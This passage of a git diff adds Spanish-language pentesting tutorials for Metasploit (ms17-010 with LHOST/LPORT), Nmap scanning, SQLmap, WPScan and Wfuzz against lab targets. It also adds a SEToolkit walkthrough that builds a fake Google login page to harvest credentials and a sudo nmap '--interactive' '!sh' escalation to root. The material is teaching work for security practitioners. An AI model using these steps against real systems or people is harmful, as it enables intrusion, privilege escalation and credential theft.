proporcionada. En mi caso, como he especificado la vulnerabilidad `ms17-'010` los resultados son muy concretos. + +Una vez tenemos claro el exploit que deseamos emplear, podemos seleccionarlo mediante `use` seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit. + + use 0 + +![Captura de pantalla -2022-05-13 13-06-25](https://user-images.githubusercontent.com/103068924/168303141-286e5f50-4e31-44b6-93a1-497f1e553a3f.png) + +Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos usar el comando `options`. + +![Captura de pantalla -2022-05-13 13-26-24](https://user-images.githubusercontent.com/103068924/168303659-f3e2dbc6-913a-48ae-9f0a-e01faf0cd725.png) + +Para configurar los parametros simplemente utilizamos `set` seguido del parametro a cambiar. Debemos especificar el `RHOSTS` donde indicamos la Ip +de la víctima, el `LHOST` donde indicaremos nuestra Ip pública (En caso de emplear una VPN debemos poner la Ip de misma.) y finalmente, indicamos +el `LPORT` que es el puerto por el cual nos pondremos en escucha. + + set RHOSTS [Ip Víctima] + + set LHOST [Ip Local] + + set LPORT [Puerto de Escucha] + +![Captura de pantalla -2022-05-13 13-25-31](https://user-images.githubusercontent.com/103068924/168304755-70ce4ee5-3ce0-440f-a1ab-8f68ad035dff.png) + +Finalmente, una vez lo tenemos todo configurado, ejecutamos la herramienta deseada mediante el comando `exploit`: + + exploit + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Web/Herramientas_y_Scripts/Nmap.md b/Web/Herramientas_y_Scripts/Nmap.md new file mode 100644 index 00000000000..a0cacd34530 --- /dev/null +++ b/Web/Herramientas_y_Scripts/Nmap.md @@ -0,0 +1,290 @@ +# NMAP + + +* ¿Qué es NMAP? +* Escaneo Básico +* Escaneo Básico Guardando los resultados +* Escaneo exahustivo de Puertos definidos. +* Escaneo Rápido Completo. +* Scripts específicos de Nmap +* Escaneo mediante el script http-enum. +* Escaneo mediante scripts por categorías. +* Escalada de privilegios con Nmap. + + + + +
+ + + +# ¿Qué es NMAP? + + +Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos y cuyo desarrollo se encuentra hoy a cargo de una comunidad. Fue creado originalmente para Linux aunque actualmente es multiplataforma. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática, para ello Nmap envía unos paquetes definidos a otros equipos y analiza sus respuestas. + + +Este software posee varias funciones para sondear redes de computadores, incluyendo detección de equipos, servicios y sistemas operativos. Estas funciones son extensibles mediante el uso de scripts para proveer servicios de detección avanzados, detección de vulnerabilidades y otras aplicaciones. Además, durante un escaneo, es capaz de adaptarse a las condiciones de la red, incluyendo latencia y congestión de la misma. + + + +### Escaneo Básico: + + + nmap -p- --open -T5 -v -n [Ip] + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + + +### Escaneo Básico Guardando los resultados: + + nmap -p- --open -T5 -v -n [Ip] -oG allPorts + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + +De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + + + +### Escaneo exahustivo de Puertos definidos: + + + nmap -sC -sV -n -v -p[Port1,Port2] [Ip Víctima] -oN targed + +`-sC` : Lanza scripts básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. Ej: -p22,80 + +`-oN` : Reporta los resultados en formato nmap al archivo `targed`. + + + +### Escaneo Rápido Completo: + + + nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn [Ip Vícitma] -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + + +`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + + +`-oG` : Exportar los resultados en formato grepeable. + + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + + +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneo. + + +`-n` : Anula la resolución DNS. + + +`-Pn` : Omite el descubrimiento de Hosts. + + + +# Scripts específicos de Nmap: + + +Nmap contiene un gran número de scripts de reconocimiento, para verlos podemos filtrar las categorías por la extensión `.nse`. + + + locate .nse + + +Para ver el tipo de categoría de cada script de Nmap, podemos concatenar un `xargs`: + + + locate .nse | xargs grep "categories" + +La sintaxis es muy simple, solo debemos añadir la opción `--script` delante del script que queramos utilizar: + + + nmap --script [Nombre del Script] + + + +## Escaneo mediante el script http-enum: + + +El script `http-enum` de Nmap actual como un fuzzer, aplicando un pequeño diccionario interno tratando de buscar directorios o archivos de interés. + + + nmap --script http-enum [Ip Víctima] + +Tambien podemos especificar puertos y guardar los resultados en un archivo (en este caso `enumScan`). + + + nmap --script http-enum -p [Puerto/s] [Ip Víctima] -oG enumScan + +`--script`: Especifica que vamos a utilizar un Script. +`-p`: Especifica los puertos que vamos a escanear. +`-oG`: Exportar los resultados en formato grepeable. +`enumScan`: Nombre del archivo donde se guardan los resultados. + + + +# Escaneo mediante scripts por categorías: + + +Con Nmap también podemos especificar por categorías qué tipo de scripts queremos lanzar, recordar que podemos ver los distintos scripts utilizado el comando +`locate .nse | xargs grep "categories"`. La sintaxis básica del comando es la siguiente: + + + nmap --script "[Categorias]" [Ip Víctima] + + +Ejemplo: + + + nmap --script "vuln and safe" 10.10.10.10 + + nmap --script "vuln and safe" -p22,80,445 10.10.10.10 + + +En este ejemplo vemos como estamos lanzando los scripts de las categorías `vuln` y `safe` a la dirección Ip Víctima por los puertos 22, 80 y 445. +Para ver solo las categorías que existen independientemente de los scripts podemos verlas utilizando los siguientes comandos de filtrado: + + +![Captura de pantalla 2022-08-03 110200](https://user-images.githubusercontent.com/103068924/182569547-c4642134-8921-4fae-a99b-3780ab394cec.png) + + +Como vemos en la imagen, se nos reporta por consola todas las categorías existentes que podemos emplear. + + + +# Escalada de privilegios con Nmap: + + +En múltiples ocasiones, una vez realizada la intrusión en el sistema, veremos como algunos de los equipos o sistemas tienen `nmap` instalado. En caso de que los +privilegios sean los adecuados, se pueden usar para ganar acceso como root. + + +Para esto, en primer lugar, debe de tratarse de una versión de nmap que contenga el parámetro `--interactive`. Ahora, mediante el comando `sudo -l` podemos ver los +permisos que tenemos como sudo: + + + sudo -l + + +![Captura de pantalla -2022-05-29 16-19-01](https://user-images.githubusercontent.com/103068924/170876271-0be1555f-58da-4361-b38f-01bbefdc58f4.png) + + +![Captura de pantalla -2022-05-29 16-20-21](https://user-images.githubusercontent.com/103068924/170876284-b614c5a7-82bc-4a38-8926-ee395408fe4a.png) + + +Debemos de fijarnos que tengamos permisos sudo sobre `nmap`. En tal caso, utilizaremos el siguiente comando para establecer una shell interna: + + + sudo nmap --interactive + +![Captura de pantalla -2022-05-29 16-21-09](https://user-images.githubusercontent.com/103068924/170876291-8ab391a2-ba8e-41d3-98ed-72a0664dbb6d.png) + + +Una vez establecida la shell de nmap, usaremos la expresión `!sh` para acceder como `root`. + + + !sh + + +![Captura de pantalla -2022-05-29 16-21-39](https://user-images.githubusercontent.com/103068924/170876304-2e7280f7-623d-49f9-9608-c0b9a1de421d.png) + +Directamente, pasaremos a estar registrados como el usuario `root` del sistema. + + +
+ +--- +--- + +### Nmap Options Description +* `10.10.10.0/24` Target network range. +* `-sn`: Disables port scanning. +* `-Pn` Disables ICMP Echo Requests +* `-n` Disables DNS Resolution. +* `-PE` Performs the ping scan by using ICMP Echo Requests against the target. +* `--packet-trace` Shows all packets sent and received. +* `--reason` Displays the reason for a specific result. +* `--disable-arp-ping` Disables ARP Ping Requests. +* `--top-ports=` Scans the specified top ports that have been defined as most frequent. +* `-p-` Scan all ports. +* `-p22-110` Scan all ports between 22 and 110. +* `-p22,25` Scans only the specified ports 22 and 25. +* `-F` Scans top 100 ports. +* `-sS` Performs an TCP SYN-Scan. +* `-sA` Performs an TCP ACK-Scan. +* `-sU` Performs an UDP Scan. +* `-sV` Scans the discovered services for their versions. +* `-sC` Perform a Script Scan with scripts that are categorized as "default". +* `--script + + + + + + +--- +--- + + diff --git a/Web/Herramientas_y_Scripts/SQLmap.md b/Web/Herramientas_y_Scripts/SQLmap.md new file mode 100644 index 00000000000..31baa56d21e --- /dev/null +++ b/Web/Herramientas_y_Scripts/SQLmap.md @@ -0,0 +1,64 @@ +![sqlmap5](https://user-images.githubusercontent.com/103068924/165548242-89c75a3a-585f-4081-9289-93d2b9c9ed8e.png) + +# SQLMAP + +## ¿Qué es SQLMAP? + +Sqlmap es un software de código abierto que se utiliza para detectar y explotar las vulnerabilidades de las bases de datos y brinda opciones para +inyectarles códigos maliciosos. Viene con un potente motor de detección al cual le podemos especificar distintas variables. + +### Características: + +Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede +identificar Microsoft Access, DB2, Informix, Sybase e Interbase. + +Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de +comparación y características específicas tales como MySQL comment injection. + +También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben. +Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection. + +### Instalando SQLMAP: + +SQLMAP viene preinstalado con kali linux, que es la opción preferida de la mayoría de los probadores de penetración. Sin embargo, puede instalar sqlmap +en otros sistemas Linux basados en Debian usando el comando: + + sudo apt-get install sqlmap + +# Ejecución de SQLMap: + +### Paso 1: Enumere información sobre las bases de datos existentes: + + sqlmap -u [Url Víctima] --dbs + +Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro `-u`. También podemos usar el parámetro `–tor` si deseamos probar el +sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción `–dbs` para hacerlo. `–dbs` enumera todas las bases de datos disponibles. + +Ejemplo: `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs` + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/Setoolkit.md b/Web/Herramientas_y_Scripts/Setoolkit.md new file mode 100644 index 00000000000..530398c23a4 --- /dev/null +++ b/Web/Herramientas_y_Scripts/Setoolkit.md @@ -0,0 +1,179 @@ +![PicsArt_07-15-08 46 53](https://user-images.githubusercontent.com/103068924/167248447-1a933ca8-3d5c-426a-8450-c7595ee5b7cd.png) + + +# Setoolkit + + +## ¿Qué es Setoolkit? + + + Se trata de un kit de herramientas de ingeniería social (SET) creado por Devid Kennedy. El equipo de Devid mantiene muy activo su set de herramientas + de forma que siempre se agregan nuevas funciones y ataques. Más recientemente, también se agregaron varias herramientas de ingeniería no social a SET, + lo que la convierte en una herramienta de ataque muy sólida. + +## Instalación: + + +Para instalar esta herramienta realizaremos lo siguiente, primero vamos a nuestro escritorio y creamos una carpeta llamada `SEToolkit`: + + + cd Desktop + + mkdir SEToolkit + + cd SEToolkit + +Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio `SEToolkit`: + + + git clone https://github.com/trustedsec/social-engineer-toolkit setoolkit/ + +Una vez clonado, entramos en el directorio `setoolkit`: + + cd setoolkit + +Podemos ver mediante `ls` todos los archivos clonados. Ahora procederemos a la instalación de todos los +requisitos necesarios para Setoolkit: + + sudo pip3 install -r requirements.txt + +Y finalmente realizamos la instalación de la herramienta: + + sudo python setup.py + +Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario normal no os permite utilizarla es porque os faltan permisos +de ejecución y, por tanto, tendréis que utilizar la herramienta como `root`. + + +## Ejecución: + +Para ejecutarlo y poder acceder a sus múltiples herramientas, simplemente ejecutamos lo siguiente: + + sudo setoolkit + + ![Captura de pantalla -2022-05-07 11-59-13](https://user-images.githubusercontent.com/103068924/167250786-283ec573-70f5-4078-a2f2-d91efb79ab8a.png) + +La interfaz de SET es muy intuitiva, simplemente tendremos que marcar el número del panel en función del tipo de ataque que +queramos realizar, y también, proporciona mucha información mediante en cada uno de sus paneles de opciones guiándote durante todo +el proceso. + +![Captura de pantalla -2022-05-07 12-01-03](https://user-images.githubusercontent.com/103068924/167250791-12fd0a22-0e19-4bde-a4a0-87794bba7b38.png) + + +# Crear una página falsa para capturar credenciales: + +En este ejemplo, voy a mostrar como crear mediante la herramienta SEToolkit como crear una página falsa de autentificación de Google, también +es posible aplicarlo a infinidad de páginas de registro o de relleno de credenciales, pero para el ejemplo usaremos una que viene +predefinida en la herramienta. + +Empleando estos metedos, los cibercriminales engañan a sus víctimas haciéndose pasar por cualquier tipo de servicio o entidad y de esta +forma robarles todos los datos posibles, desde nombres o usuarios, hasta cuentas bancarias, números de tarjetas de crédito, contraseñas, etc, +interdependientemente de la longitud o dificultad de la contraseña, ya que simplemente se reporta al atacante cuando se ingresa dicha información. + +En primer lugar, vamos a comprender como se realiza el ataque: + + 1. Primero generaremos mediante `Setoolkit` una página falsa se inició de sesión de Google. + 2. Esta página quedará registrada en nuestra `localhost`. + 3. Finalmente, cuando se introduzcan las credenciales en la página, se nos reportaran en la terminal del programa. + +Esto es un ejemplo muy simple que voy a mostrar como prueba, se puede realizar este ataque de maneras mucho más complejas y difíciles de detectar. +Recalco que emplear está herramienta con alguien que no te lo haya autorizado es completamente ilegal y que este artículo esta escrito con la +finalidad de mostrar como actúan los cibercriminales. Dicho esto vamos a ver el ejemplo. + +### Crear página de inicio de sesión de Google: + +Ejecutamos la herramienta y seguimos los siguientes pasos: + + sudo setoolkit + +![Captura de pantalla -2022-05-07 11-59-13](https://user-images.githubusercontent.com/103068924/167250804-90bf9142-c2a1-4b1e-985d-14566ee0b982.png) + + +La herramienta que vamos a utilizar es la `Social-Engienering Attacks` que corresponde al número `1`. Tener en cuenta que los números pueden +variar en función de la versión, ya que periódicamente se incluyen herramientas y funciones. Introducimos `1` y pulsamos `Enter`: + + 1 + +![Captura de pantalla -2022-05-07 12-03-51](https://user-images.githubusercontent.com/103068924/167250899-22e40731-f986-49bb-8770-fc69cc8c116b.png) + +Ahora vamos a seleccionar el método de ataque `Website Attack Vectors` que me corresponde con el número `2`: + + 2 + +![Captura de pantalla -2022-05-07 12-04-11](https://user-images.githubusercontent.com/103068924/167250973-973ac307-8a93-45c4-87b6-41c3513bc368.png) + +Lo siguiente que le debemos de indicar, es el tipo de ataque web que vamos a utilizar, en este caso, que lo que queremos es robar sus credenciales, +utilizaremos el modo `Credential Harvester Attack Method` que corresponde con el número `3`: + + 3 + +![Captura de pantalla -2022-05-07 12-05-00](https://user-images.githubusercontent.com/103068924/167251054-2845cb88-ef30-4c65-b09d-b16145fae9f1.png) + +Ya lo tenemos casi, solo nos queda especificar que clase de página vamos a mostrar. Como veis también nos da la opción `2` que es la de clonar +algún sitio web y así ajustarse más al tipo de víctima. En nuestro caso vamos a seleccionar la opción `1` que ya nos muestra algunas páginas web +que la herramienta nos muestra de serie, así que seleccionaremos `Web Templates`: + + 1 + +![Captura de pantalla -2022-05-07 12-06-26](https://user-images.githubusercontent.com/103068924/167251456-d2a336e5-e0af-4c42-a658-febfdfe64f0f.png) + +Vemos como la misma herramienta nos muestra tres opciones predefinidas, `Java`, `Google` y `Twitter`. Vamos a utilizar la de `Google` así que marcamos +la `2`. + +![Captura de pantalla -2022-05-07 12-06-43](https://user-images.githubusercontent.com/103068924/167251217-4f4929d6-6c91-43fe-971c-9c5e069937e1.png) + +En caso de preguntarnos si utilizamos NAT se lo indicamos y luego simplemente presionamos `enter` y veremos como el sistema se quedará a la escucha: + +![Captura de pantalla -2022-05-07 12-08-14](https://user-images.githubusercontent.com/103068924/167251508-2b5246f0-f6fc-4ed3-a212-375c66b1b88b.png) + +La página ya está completamente funcional, ahora simplemente nos dirigimos a un navegador, en mi caso Firefox y para ejecutar la página escribimos +`localhost` o `127.0.0.1` que es donde se aloja la página de forma predeterminada. Esto podemos cambiarlo, pero para este tutorial nos sobrará. +Vamos al navegador y abrimos la página: + +![Captura de pantalla -2022-05-07 12-08-42](https://user-images.githubusercontent.com/103068924/167251622-431634e3-348c-4e9a-83d2-61c668831ec9.png) + + +![Captura de pantalla -2022-05-07 12-08-56](https://user-images.githubusercontent.com/103068924/167251629-6efa83d6-019c-4535-a55e-a7b4ef96d17f.png) + + +![Captura de pantalla -2022-05-07 12-09-11](https://user-images.githubusercontent.com/103068924/167251634-4a089f24-3f1a-4fb4-86a9-67dbc21332f1.png) + + +Como vemos la página es muy realista, ahora simplemente escribimos unas credenciales (no tienen por qué ser válidas, el programa nos reportara todo +lo que se escriba). Para que se vea que esto funciona independientemente de la dificultad de la contraseña, hemos introducido un password con +variedad de caracteres. + +![Captura de pantalla -2022-05-07 12-10-00](https://user-images.githubusercontent.com/103068924/167251722-c20563b1-2765-41fc-a781-8ec01110a1b4.png) + +![Captura de pantalla -2022-05-07 12-10-17](https://user-images.githubusercontent.com/103068924/167251727-335e63bb-4617-4f40-9d80-132528b28293.png) + +Y finalmente podemos ver como se nos reporta todo en la terminal desde la cual ejecutamos el ataque: + +![Captura de pantalla -2022-05-07 12-10-37](https://user-images.githubusercontent.com/103068924/167251748-0c989b4d-453f-4849-8508-71b0b71283e1.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/WPScan.md b/Web/Herramientas_y_Scripts/WPScan.md new file mode 100644 index 00000000000..77aa5560b45 --- /dev/null +++ b/Web/Herramientas_y_Scripts/WPScan.md @@ -0,0 +1,78 @@ +![wpscan_logo1](https://user-images.githubusercontent.com/103068924/165412933-412b8027-f44d-47b2-a742-5b7c2a58d1ea.png) + + +# WPScan + +WPScan es un escaner de vulnerabilidades enfocado en página WordPress. Escanea y encuentra fallas y vulnerabilidades en el código, los módulos y temas +utilizados. + +## Instalación: + +Para instalar en sistemas Debian: + + sudo apt-get install wpscan + +## Actualizar base de datos: + +Debido a las multiples actualizaciones, tanto por parte de wordpress como por WPScan, debemos tener actualizada nuesta base de datos para estar +preparado frente a las nuevos ataques y vulnerabilidades. + + wpscan --update + +## Ver Información de la Herramienta: + +Aquí podemos ver todas las opciones y funciones que nos ofrece WPScan. + + wpscan -h + +## Escaneo Básico: + +Ejemplo 1: + + wpscan --url http://wordpress.local + +Ejemplo 2: + + wpscan --url http://10.10.11.143 + +## Escaneo mediante verbose: + +Ejemplo 1: + + wpscan --url http://wordpress.local --verbose + +Ejemplo 2: + + wpscan --url http://10.10.11.143 -v + +## Escaneo de directorios y usuarios: + + wpscan --url http://example.local --wp-content-dir wp-admin + + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/Wfuzz.md b/Web/Herramientas_y_Scripts/Wfuzz.md new file mode 100644 index 00000000000..1a6d66626aa --- /dev/null +++ b/Web/Herramientas_y_Scripts/Wfuzz.md @@ -0,0 +1,253 @@ +![wfuzz_Kali_Linux](https://user-images.githubusercontent.com/103068924/165838186-e7b3bb1d-8340-4609-93ce-acb30229cb66.png) + +# Índice: + +* 1.1 ¿Qué es Wfuzz? +* 1.2 ¿Cómo funciona? +* 1.3 Diccionarios y Listas de Palabras. +* 1.4 Payloads/Cargas Útiles. +* 1.5 Obtener ayuda. +* 1.6 Filtros. +* 1.7 Ocultar respuestas. +* 2.0 Ejecución Básica. +* 2.1 Ejecución Carga Útil. +* 2.2 Ejecución definiendo el valor del Payload. +* 2.3 Ejecución fuzzeando cabezeras. +* 2.4 Ejecución filtrada omitiendo servicios web desconocidos. +* 2.5 Ejecución filtrada omitiendo servicios con caracteres repetidos. + + + +# ¿Qué es Wfuzz? + +WFuzz es una herramienta y biblioteca de fuzzer de seguridad de aplicaciones web para Python. + + +# ¿Cómo funciona? + +Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. + +Una carga útil en Wfuzz es una fuente de datos. + +Este concepto simple permite inyectar cualquier entrada en cualquier campo de una solicitud HTTP, lo que permite realizar complejos ataques +de seguridad web en diferentes componentes de la aplicación web, como: parámetros, autenticación, formularios, directorios/archivos, encabezados, etc. + + +# Diccionarios y Listas de Palabras: + +En caso de utilizar Kali Linux o ParroOS suelen tener incluidos el repositorio `wordlists` el cual incluye una variedad de diccionarios o listas de +palabras de distintos tamaños. Este repositorio se encuentra en el directorio `/usr/share/wordlists`. + +![Captura de pantalla -2022-05-09 06-58-59](https://user-images.githubusercontent.com/103068924/167343931-14b023c8-3260-44da-9b50-62586e56db8f.png) + +![Captura de pantalla -2022-05-09 07-01-52](https://user-images.githubusercontent.com/103068924/167344140-af2eb436-c3ab-4204-8f9f-121c306782bc.png) + +![Captura de pantalla -2022-05-09 07-02-21](https://user-images.githubusercontent.com/103068924/167344168-2b83b1e0-0854-4421-82e9-9b9242dca851.png) ![Captura de pantalla -2022-05-09 07-03-15](https://user-images.githubusercontent.com/103068924/167344175-48c8a65e-f043-4efc-9c4d-a00d97b83830.png) + +Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo siguiente: + + sudo apt install wordlists + + +# Payloads/Cargas Útiles: + +Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. Una `carga útil` más conocida como `payload` en Wfuzz es una fuente de datos de entrada y se especifica mediante `-z`: + +Las cargas útiles disponibles se pueden listar ejecutando la opción `-e payloads`: + + wfuzz -e payloads + +![Captura de pantalla -2022-05-09 07-30-49](https://user-images.githubusercontent.com/103068924/167346305-cd82d0a9-b840-4944-9237-2f27be89c565.png) + +Se puede obtener información detallada sobre las cargas útiles ejecutando: + + wfuzz -z help + +Este último se puede filtrar usando el parámetro `--slice`: + + wfuzz -z help --slice "dirwalk" + +![Captura de pantalla -2022-05-09 07-34-57](https://user-images.githubusercontent.com/103068924/167346718-14049e7c-e687-4376-bc97-21fa0a000df2.png) + + +# Obtener ayuda: + +Use el interruptor `–h` y `–help` para obtener el uso de ayuda básica y avanzada respectivamente. + +Wfuzz es un marco completamente modular, puede verificar los módulos disponibles usando el interruptor `-e iterators`: + +![Captura de pantalla -2022-05-09 07-18-22](https://user-images.githubusercontent.com/103068924/167345166-41e40d2a-98fd-4747-9d25-c7ba9c89d95c.png) + +Las categorías válidas son: `cargas útiles`, `codificadores`, `iteradores`, `impresoras` o `scripts`. + + +# Filtros: + +Filtrar resultados en Wfuzz es primordial: + +Los diccionarios grandes pueden generar una gran cantidad de resultados y pueden ahogar fácilmente los resultados válidos legítimos. +La clasificación de las respuestas HTTP es clave para realizar algunos ataques, por ejemplo, para verificar la presencia de una vulnerabilidad de inyección SQL, debemos distinguir una respuesta legítima de la que genera un error o datos diferentes. +Wfuzz permite filtrar según el código de respuesta HTTP y la longitud de la información recibida (en forma de palabras, caracteres o líneas). También se pueden utilizar expresiones regulares. Se pueden tomar dos enfoques: mostrar u ocultar los resultados que coinciden con un filtro determinado. + + +# Ocultar respuestas + +Los siguientes parámetros de la línea de comandos se pueden usar para ocultar ciertas respuestas HTTP `–hc`, `–hl`, `–hw`, `–hh`. + +El comando `--hc` filtra los recursos web desconocidos por el servidor web ( http://en.wikipedia.org/wiki/HTTP_404 ), básicamente suprime las páginas +que reportar `error 404`: + + wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ + +Se pueden especificar múltiples valores, por ejemplo, la siguiente ejecución de wfuzz agrega los recursos prohibidos al filtro: + + wfuzz -w wordlist/general/common.txt --hc 404,403 http://testphp.vulnweb.com/FUZZ + +Las líneas, palabras o caracteres son útiles cuando buscamos recursos con el mismo código de estado HTTP. + +Por ejemplo, es un comportamiento común (a veces debido a una configuración incorrecta) que los servidores web devuelvan una página de error personalizada con un código de respuesta 200, esto se conoce como `soft 404`. + + +# Ejecución Básica: + +Una ejecución de línea de comando típica de Wfuzz, que especifica una carga de diccionario y una URL, se ve así: + + wfuzz -w [Ruta del Diccionario] [Url Víctima]/FUZZ + + wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ + +`-w` : Especifica un diccionario (Lista de palabras). + +![Captura de pantalla -2022-05-09 06-45-44](https://user-images.githubusercontent.com/103068924/167342418-da9eb2b7-3f2a-446b-b5af-5892d1da0fd6.png) + +Podemos ver los siguientes parámetros en la respuesta: + +![Captura de pantalla -2022-05-09 06-46-33](https://user-images.githubusercontent.com/103068924/167342497-c9bf20af-e69b-4515-92e5-3ed86fe922d1.png) + +La salida de Wfuzz permite analizar las respuestas del servidor web y filtrar los resultados deseados en función del mensaje de respuesta HTTP obtenido, por ejemplo, códigos de respuesta, longitud de respuesta, etc. + +Cada línea proporciona la siguiente información: + +`ID` : El número de solicitud en el orden en que se realizó. + +`Respuesta:` muestra el código de respuesta HTTP. + +`Líneas:` Muestra el número de líneas en la respuesta HTTP. + +`Palabra:` Muestra el número de palabras en la respuesta HTTP. + +`Chars:` Muestra el número de caracteres en la respuesta HTTP. + +`Carga útil:` Muestra la carga útil utilizada. + + +# Ejecución Carga Útil: + +Cada palabra clave FUZZ debe tener su carga útil (payload) correspondiente. Hay varias formas equivalentes de especificar una `payload`: + +### Ejecución Básica: + + wfuzz -w [Ruta del Diccionario] [URL Víctima]/FUZZ + +`-w` : Especifica un diccionario (Lista de palabras). + + +### Ejecución definiendo el valor del Payload: + + wfuzz -z [Ruta del Diccionario] [URL Víctima]/FUZZ + +`-z` : Especifica el valor del parámetro predeterminado del payload. + + +### Ejecución fuzzeando cabezeras. +Esto nos permite la opción de repetir varios encabezados. Para ello se emplea la etiqueta `-H` de header seguida de la especificación entre comillas dobles. + + wfuzz -w [Ruta del Diccionario] -H "Host: FUZZ.ejemplo.com" http://ejemplo.com + +* `Ejemplo:` + + wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nunchuks.htb" http://nunchuks.htb + + +### Ejecución filtrada omitiendo servicios web desconocidos: + + wfuzz -w [Ruta del Diccionario] --hc 404,403 [URL Víctima] + +`-w` : Especifica un diccionario (Lista de palabras). + +`--hc` : Omite los resultados HTTP especificados, en este caso las páginas con servicios 404 (servidor no encontrado) y 403 (sin permisos de acceso). + +Se puede encontr mucha más información sobre esta herramienta en su página: [https://wfuzz.readthedocs.io/en/latest/user/getting.html](https://wfuzz.readthedocs.io/en/latest/user/getting.html) + + +### Ejecución filtrada omitiendo servicios con caracteres repetidos: + +En algunas ocasiones al ejecutar Wfuzz veremos como empieza a reportar resultados inconcluyentes con el mismo número de caracteres. Al igual que los servicios web +estos resultados pueden ser filtrados para que sean omitidos y que solo nos devuelva los resultados que nos interesan. + +Para omitir los caracteres o chars específicos se usa la instrucción `--hh=[Nº Chars]`. Veamos como sería su sintaxis: + + wfuzz --hh=[Nº Chars] -w [Ruta del Diccionario] [URL Víctima] + +Vamos a ver un ejemplo para que quede más claro, para ello primero vamos a realizar un escaneo simple sin filtrar ningún resultado para que veáis como se repiten +las peticiones con el mismo número de caracteres. + +Para este ejemplo usaremos la máquina `Nunchucks` de HTB con la Ip 10.10.11.122 y como diccionario utilizaremos uno de la librería `Seclists`. + + wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nunchucks.htb" http://nunchucks.htb + +![Captura de pantalla 2022-07-21 172614](https://user-images.githubusercontent.com/103068924/180252687-7037a5b5-add2-4744-8491-e5d2a1f88f5d.png) + +![Captura de pantalla 2022-07-21 172633](https://user-images.githubusercontent.com/103068924/180252698-c7432676-681d-486a-9307-502475e7c986.png) + +Como podéis ver nos reporta un montón de resultados con el mismo número de `chars`: + +![Captura de pantalla 2022-07-21 172657](https://user-images.githubusercontent.com/103068924/180252935-a968d55d-776f-4f62-87d4-0d0fd9f2b255.png) + +Vamos a intentar aplicar el filtro `--hh=30587` para ocultar todos los resultados con ese número de caracteres: + + wfuzz --hh=30587 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nunchucks.htb" http://nunchucks.htb + +![Captura de pantalla 2022-07-21 173038](https://user-images.githubusercontent.com/103068924/180253429-4f39c317-b4ac-40a5-b32a-eef79b67b0f2.png) + +![Captura de pantalla 2022-07-21 173652](https://user-images.githubusercontent.com/103068924/180254604-38dff995-7ae1-489b-8794-79913b3d2b0a.png) + +Una vez especificado, solo nos muestra los resultados con un número de caracteres diferente a 30587. + + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + + + + + diff --git a/Web/Herramientas_y_Scripts/WichSystem.md b/Web/Herramientas_y_Scripts/WichSystem.md new file mode 100644 index 00000000000..a053f920a47 --- /dev/null +++ b/Web/Herramientas_y_Scripts/WichSystem.md @@ -0,0 +1,127 @@ +# WichSystem + +![WichSystem01](https://user-images.githubusercontent.com/103068924/162618801-255da24f-3973-4699-a964-1923a82d393d.png) + +Esta herramienta es un pequeño script en python creado por S4vitar que sirve para saber si estamos frente un sistema operativo Windows o Linux. + + El script básicamente diferencia entre el ttl de Linux y el de Windows de forma automáticamente. + + Recordemos que Windows tiene un ttl=128 mientras que Linux tiene un ttl=65. + + # Ejecución: + + wichSystem.py [Ip Víctima] + +![WichSystem2](https://user-images.githubusercontent.com/103068924/162619301-1d8543a0-4089-49b1-a675-98f096684de6.png) + +![WichSystem3](https://user-images.githubusercontent.com/103068924/162619303-e3a46ad0-a3a1-493e-9d84-0dda0ab5fedf.png) + + +## Instalación: + +Para instalar esta herramienta simplemente nos descargamos o copiamos el archivo `wichSystem.py` y lo creamos en el directorio `/usr/bin/`. + +En caso de descargarlo, simplemente lo depositamos en ese directorio. +En 